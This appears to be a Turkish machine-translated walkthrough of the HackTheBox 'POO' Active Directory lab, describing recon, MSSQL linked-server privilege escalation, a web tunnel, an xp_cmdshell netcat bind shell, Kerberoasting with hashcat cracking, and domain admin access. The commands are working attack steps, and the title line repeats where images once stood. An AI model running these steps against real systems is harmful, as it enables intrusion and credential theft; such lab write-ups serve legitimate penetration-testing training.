HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu yazıda, sadece bir makinenin değil, tüm bir mini laboratuvarın siteden geçişini analiz edeceğiz. HackTheBox.

Açıklamada belirtildiği gibi POO, küçük bir Active Directory ortamında saldırıların tüm aşamalarında becerileri test etmek için tasarlanmıştır. Amaç, kullanılabilir bir ana bilgisayarı tehlikeye atmak, ayrıcalıkları yükseltmek ve sonunda süreçte 5 bayrak toplayarak tüm etki alanını tehlikeye atmaktır.

Laboratuvara bağlantı VPN üzerinden sağlanmaktadır. Bilgi güvenliği konusunda bir şeyler bilen kişilerle özel bir ağa girdiğiniz için çalışan bir bilgisayardan veya sizin için önemli verilerin olduğu bir ana bilgisayardan bağlanmamanız önerilir 🙂

organizasyon bilgisi
Yeni makaleler, yazılımlar ve diğer bilgiler hakkında bilgi edinebilmeniz için oluşturdum Telgraf kanalı и herhangi bir konuyu tartışmak için grup IIKB alanında. Ayrıca kişisel istek, soru, öneri ve önerileriniz İnceleyip herkese cevap vereceğim..

Tüm bilgiler yalnızca eğitim amaçlı verilmektedir. Bu belgenin yazarı, bu belgenin incelenmesi sonucunda elde edilen bilgi ve yöntemlerin kullanılması sonucunda herhangi bir kişiye verilen zararlardan sorumlu değildir.

Intro

Bu oyun sonu iki makineden oluşur ve 5 bayrak içerir.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Mevcut ana bilgisayarın açıklaması ve adresi de verilmiştir.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Hadi başlayalım!

keşif bayrağı

Bu makinenin /etc/hosts'a eklediğim 10.13.38.11 IP adresi var.
10.13.38.11 poo.htb

İlk adım açık portları taramaktır. nmap ile tüm portları taramak uzun zaman aldığı için öncelikle masscan ile yapacağım. 0pps'de tun500 arayüzünden tüm TCP ve UDP portlarını tarıyoruz.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Şimdi portlarda çalışan servisler hakkında daha detaylı bilgi almak için -A seçeneği ile tarama yapalım.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Böylece IIS ve MSSQL servislerimiz var. Bu durumda, alan adının ve bilgisayarın gerçek DNS adını bulacağız. Web sunucusunda bizi IIS ana sayfası karşılıyor.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Dizinler üzerinde yineleyelim. Bunun için gobuster kullanıyorum. Parametrelerde 128 (-t), URL (-u), sözlük (-w) ve bizi ilgilendiren uzantıların sayısını (-x) belirtiyoruz.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu nedenle, /admin dizini için HTTP kimlik doğrulamasının yanı sıra .DS_Store masaüstü hizmet depolama dosyasına sahibiz. .DS_Store, bir klasör için dosya listesi, simge konumu, seçilen arka plan görüntüsü gibi kullanıcı ayarlarını depolayan dosyalardır. Böyle bir dosya, web geliştiricilerinin web sunucusu dizininde sona erebilir. Böylece dizinin içeriği hakkında bilgi sahibi oluyoruz. Bunun için kullanabilirsiniz DS_Store tarayıcısı.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Klasörün içeriğini alıyoruz. Buradaki en ilginç şey, iki dalda kaynakları ve db dosyalarını görebildiğimiz /dev dizini. Ancak, hizmet IIS ShortName'e karşı savunmasızsa, dosya ve dizin adlarının ilk 6 karakterini kullanabiliriz. Bu güvenlik açığını kullanarak kontrol edebilirsiniz. IIS kısa ad Tarayıcı.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve "poo_co" ile başlayan bir metin dosyası buluyoruz. Bundan sonra ne yapacağımı bilmeden, dizinler sözlüğünden "co" ile başlayan tüm kelimeleri seçtim.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Ve wfuzz ile yineleyin.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve doğru kelimeyi bulun! Bu dosyaya bakıyoruz, kimlik bilgilerini kaydediyoruz (DBNAME parametresine göre MSSQL'den geliyorlar).

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bayrağı teslim ediyoruz ve %20 ilerliyoruz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

huh bayrağı

MSSQL'e bağlanıyoruz, DBeaver kullanıyorum.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu veritabanında ilginç bir şey bulamıyoruz, bir SQL Düzenleyici oluşturalım ve kullanıcıların ne olduğunu kontrol edelim.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

İki kullanıcımız var. Ayrıcalıklarımızı kontrol edelim.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu nedenle, herhangi bir ayrıcalık yoktur. Bağlantılı sunucuları görelim, bu tekniği ayrıntılı olarak yazdım burada.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Böylece başka bir SQL Server buluyoruz. Openquery() kullanarak bu sunucudaki komutların yürütülmesini kontrol edelim.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Hatta bir sorgu ağacı bile oluşturabiliriz.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Gerçek şu ki, bağlantılı bir sunucuya istekte bulunduğumuzda, istek başka bir kullanıcının bağlamında yürütülür! Bağlantılı sunucuda hangi kullanıcı bağlamını çalıştırdığımızı görelim.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Şimdi bağlantılı sunucudan bizim sunucumuza gelen isteğin hangi bağlamda yürütüldüğünü görelim!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu nedenle, tüm ayrıcalıklara sahip olması gereken bir DBO bağlamıdır. Bağlantılı bir sunucudan istek gelmesi durumunda ayrıcalıkları kontrol edelim.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Gördüğünüz gibi, tüm ayrıcalıklara sahibiz! Adminimizi bu şekilde oluşturalım. Ama openquery'den geçmelerine izin vermiyorlar, hadi EXECUTE AT ile yapalım.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Ve şimdi yeni kullanıcının kimlik bilgileriyle bağlanıyoruz, yeni bayrak veritabanını gözlemliyoruz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu bayrağı teslim edip daha ileri gidiyoruz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Geri izleme bayrağı

MSSQL kullanarak kabuğu alalım, imppacket paketinden mssqlclient kullanıyorum.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Şifre almamız gerekiyor ve tanıştığımız ilk şey site. Bu nedenle, bir web sunucusu yapılandırmasına ihtiyacımız var (uygun bir kabuk atmak imkansız, görünüşe göre güvenlik duvarı çalışıyor).

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ancak erişim reddedildi. Dosyayı MSSQL'den okuyabilsek de, sadece hangi programlama dillerinin yapılandırıldığını bilmemiz gerekiyor. Ve MSSQL dizininde Python olduğunu öğreniyoruz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

O zaman web.config dosyasını okumakta sorun yok.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bulunan kimlik bilgileriyle, /admin'e gidin ve bayrağı alın.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

dayanak bayrağı

Aslında, güvenlik duvarı kullanmanın bazı sakıncaları vardır, ancak ağ ayarlarına baktığımızda IPv6 protokolünün de kullanıldığını görüyoruz!

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu adresi /etc/hosts dizinine ekleyin.
dead:babe::1001 poo6.htb
Ana bilgisayarı tekrar tarayalım, ancak bu sefer IPv6 üzerinden.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve WinRM hizmeti IPv6 üzerinden kullanılabilir. Bulunan kimlik bilgileriyle bağlantı kuralım.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Masaüstünde bir bayrak var, teslim et.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

P00ned bayrağı

ile ev sahibi üzerinde keşif yaptıktan sonra bezelye özel bir şey bulamıyoruz. Daha sonra kimlik bilgilerinin yeniden aranmasına karar verildi (bu konuda da yazdım Makale). Ancak sistemdeki tüm SPN'leri WinRM aracılığıyla alamadım.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Komutu MSSQL üzerinden çalıştıralım.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu şekilde, p00_hr ve p00_adm kullanıcılarının SPN'lerini alıyoruz, bu da onların Kerberoasting gibi bir saldırıya karşı savunmasız oldukları anlamına geliyor. Kısacası şifrelerinin hashlerini alabiliyoruz.

Öncelikle, MSSQL kullanıcısı adına kararlı bir kabuk edinmeniz gerekir. Ancak erişimimiz sınırlı olduğundan, ana bilgisayarla yalnızca 80 ve 1433 numaralı bağlantı noktaları üzerinden bağlantımız var. Ancak trafiği 80 numaralı bağlantı noktasından tünellemek mümkündür! Bunun için kullanıyoruz sonraki uygulama. Tunnel.aspx dosyasını web sunucusunun ana dizinine yükleyelim - C: inetpubwwwroot.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ancak erişmeye çalıştığımızda 404 hatası alıyoruz, bu da *.aspx dosyalarının yürütülmediği anlamına geliyor. Bu uzantılara sahip dosyaların çalışabilmesi için ASP.NET 4.5'i aşağıdaki gibi kurunuz.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve şimdi, tünel.aspx'e eriştiğimizde, her şeyin hazır olduğu yanıtını alıyoruz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Uygulamanın trafiği aktaracak istemci kısmını başlatalım. Tüm trafiği 5432 numaralı bağlantı noktasından sunucuya ileteceğiz.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve herhangi bir uygulamanın trafiğini proxy'miz aracılığıyla göndermek için proxy zincirleri kullanıyoruz. /etc/proxychains.conf yapılandırma dosyasına bu proxy'yi ekleyelim.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Şimdi programı sunucuya yükleyelim. netcat'in, kararlı bir bağlama kabuğu yapacağımız ve komut dosyası Kerberoast'ı çağırile Kerberoasting saldırısını gerçekleştireceğiz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Şimdi, MSSQL aracılığıyla dinleyiciyi başlatıyoruz.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve proxy'miz aracılığıyla bağlanıyoruz.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve karmaları alalım.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ardından, bu hash'leri yinelemeniz gerekir. Rockyou'nun parola veri sözlüğü olmadığından, Seclistlerde sağlanan TÜM parola sözlüklerini kullandım. Numaralandırma için hashcat kullanıyoruz.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Ve her iki parolayı da buluyoruz, birincisi dutch_passwordlist.txt sözlüğünde, ikincisi Keyboard-Combinations.txt dosyasında.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve böylece üç kullanıcımız var, etki alanı denetleyicisine gidiyoruz. Önce adresini öğrenelim.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Harika, etki alanı denetleyicisinin IP adresini öğrendik. Alan adının tüm kullanıcılarını ve bunlardan hangisinin yönetici olduğunu öğrenelim. PowerView.ps1 bilgi almak için betiği indirmek için. Ardından, -s parametresinde komut dosyasıyla dizini belirterek, evil-winrm kullanarak bağlanacağız. Ardından, PowerView komut dosyasını yüklemeniz yeterlidir.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Artık tüm işlevlerine erişimimiz var. p00_adm kullanıcısı ayrıcalıklı bir kullanıcı gibi görünüyor, bu yüzden onun bağlamında çalışacağız. Bu kullanıcı için bir PSCredential nesnesi oluşturalım.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Şimdi Creds belirttiğimiz tüm Powershell komutları p00_adm adına yürütülecektir. Bir kullanıcı listesi ve AdminCount niteliğini görüntüleyelim.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ve böylece, kullanıcımız gerçekten ayrıcalıklı. Hangi gruplara ait olduğunu görelim.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Sonunda kullanıcının bir etki alanı yöneticisi olduğunu onaylıyoruz. Bu, ona etki alanı denetleyicisinde uzaktan oturum açma hakkı verir. Tünelimizi kullanarak WinRM ile oturum açmaya çalışalım. Evil-winrm kullanırken reGeorg tarafından verilen hatalar kafamı karıştırdı.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Sonra başka, daha kolay olanı kullanırız, senaryo WinRM'ye bağlanmak için. Bağlantı parametrelerini açın ve değiştirin.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bağlanmaya çalışıyoruz ve sistemin içindeyiz.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Ama bayrak yok. Ardından kullanıcıya bakın ve masaüstlerini kontrol edin.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

mr3ks'te bayrağı buluyoruz ve laboratuvar %100 tamamlandı.

HackTheBoxendgame. Laboratuvar Profesyonel Saldırı Operasyonlarının geçişi. Pentest Active Directory

Bu kadar. Geri bildirim olarak, bu makaleden yeni bir şey öğrenip öğrenmediğinizi ve sizin için yararlı olup olmadığını yorumlayın.

bize katılabilirsiniz Telegram. Orada ilginç materyaller, birleştirilmiş kurslar ve yazılım bulabilirsiniz. BT'nin birçok alanından anlayan insanların olacağı bir topluluk oluşturalım, böylece BT ve bilgi güvenliği konularında her zaman birbirimize yardımcı olabiliriz.

Kaynak: habr.com

Yorum ekle